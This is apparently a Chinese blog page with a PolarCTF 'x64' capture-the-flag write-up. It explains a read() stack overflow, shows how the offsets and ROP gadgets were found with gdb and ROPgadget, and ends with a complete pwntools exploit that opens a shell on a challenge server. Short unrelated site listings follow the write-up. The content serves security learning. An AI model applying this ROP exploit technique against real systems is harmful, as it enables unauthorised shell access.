news 2026/4/19 22:40:06

【PolarCTF】x64

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【PolarCTF】x64

先检查下,发现是64位的程序

IDA分析程序

这里很明显read函数存在溢出

然后可以看到后面函数Shell

同时也可以找到/bin/sh字符串

这里我们可以通过IDA查找

攻击思路如下:

填充垃圾数据 pop_rdi_ret将/bin/sh传递到rdi中 执行Shell函数 获得shell

gdb调试程序

将cyclic的字符输入到程序中,然后我们可以通过

x rbp

或者

info registers rbp

可以看到堆底里面的内容

通过计算可以看到距离rbp的距离为128(十进制)

128转为十六进制,可以看到就是0x80,和IDA分析的结果是一样的

因为还要覆盖返回地址,因此填充0x80个字节+0x8个字节

除了上面的方法找Shell函数地址、/bin/sh字符地址

还可以通过objdump查找shell函数地址

通过ROPgadget 查找可以传递给rdi的pop_ret,pop_rdi_ret的地址为0x4007e3

我们也可以使用ROPgadget来查找/bin/sh地址,可以看到/bin/sh的地址为0x601060

bin/sh的地址为0x601060

pop_rdi_ret的地址为0x4007e3

Shell函数的地址0x4006b6

payload如下

from pwn import * io = remote('1.95.36.136',2065) system_addr = 0x4006b6 sh_addr = 0x601060 pop_rdi = 0x4007e3 padding = 0x80+0x8 payload = b'A'*padding payload += p64(pop_rdi) payload += p64(sh_addr) payload += p64(system_addr) io.sendline(payload) io.interactive()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/19 22:38:52

台积电法说会:AI需求强劲异常,供不应求态势将延续至至少2027年

2026年Q1绩后,台积电召开法说会。台积电首席执行官魏哲家宣称“AI需求极为强劲”,并指出全球正置身于“AI大趋势”之中。财报显示,台积电今年第一季度营收(以美元计)环比增长6.4%,达359亿美元,略…

作者头像 李华
网站建设 2026/4/19 22:34:47

在setting菜单里显示的有些字符 不正常,

比如时间 显示的不是正常字体,location 下面显示的字体也是不正常的。在setting菜单里显示的有些字符 不正常,比如时间 显示的不是正常字体,location 下面显示的字体也是不正常的。设置菜单(Settings)中出现字符显示异…

作者头像 李华
网站建设 2026/4/19 22:30:34

PCL2启动器深度解析:从源码架构到性能优化的实战指南

PCL2启动器深度解析:从源码架构到性能优化的实战指南 【免费下载链接】PCL Minecraft 启动器 Plain Craft Launcher(PCL)。 项目地址: https://gitcode.com/gh_mirrors/pc/PCL Plain Craft Launcher 2(PCL2)作为…

作者头像 李华